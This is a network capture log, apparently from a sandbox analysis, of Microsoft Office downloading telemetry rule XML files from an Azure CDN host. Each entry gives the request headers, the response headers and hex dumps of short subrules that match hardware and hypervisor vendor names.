2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 821e4157-c01e-0014-3301-17a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd487nf59mzf5b3gk8n00000002dg00000000bmz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 763e8d43-601e-000d-6912-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48dfrdj7px744zp8s00000002d000000000vguc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 897bc565-f01e-0096-5e60-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48gqrfwecymhhbfm800000001gg00000000sb80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48wd55zet5pcra0cg00000002t000000000asat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48xlwdx82gahegw400000000320000000003ngd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:08 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3b7b7106-501e-0064-43e7-161f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48gqrfwecymhhbfm800000001kg00000000gy4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb96d6a-f01e-003f-17e5-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012309Z-1657d5bbd48dfrdj7px744zp8s00000002e000000000scv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 2f576d96-401e-0047-3902-178597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012309Z-1657d5bbd4824mj9d6vp65b6n4000000032g000000003ksm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f196d52c-b01e-0002-1604-171b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012309Z-1657d5bbd48vhs7r2p1ky7cs5w000000030000000000tqpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f5ee0945-901e-0083-4202-17bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012309Z-1657d5bbd482lxwq1dp2t1zwkc00000002ng000000000srm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:09 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0607cd43-401e-0078-1b00-174d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012309Z-1657d5bbd48wd55zet5pcra0cg00000002qg00000000m3zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:09 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:10 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5ff6bd9-301e-005d-3af2-16e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012310Z-1657d5bbd48qjg85buwfdynm5w00000002x0000000009d81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
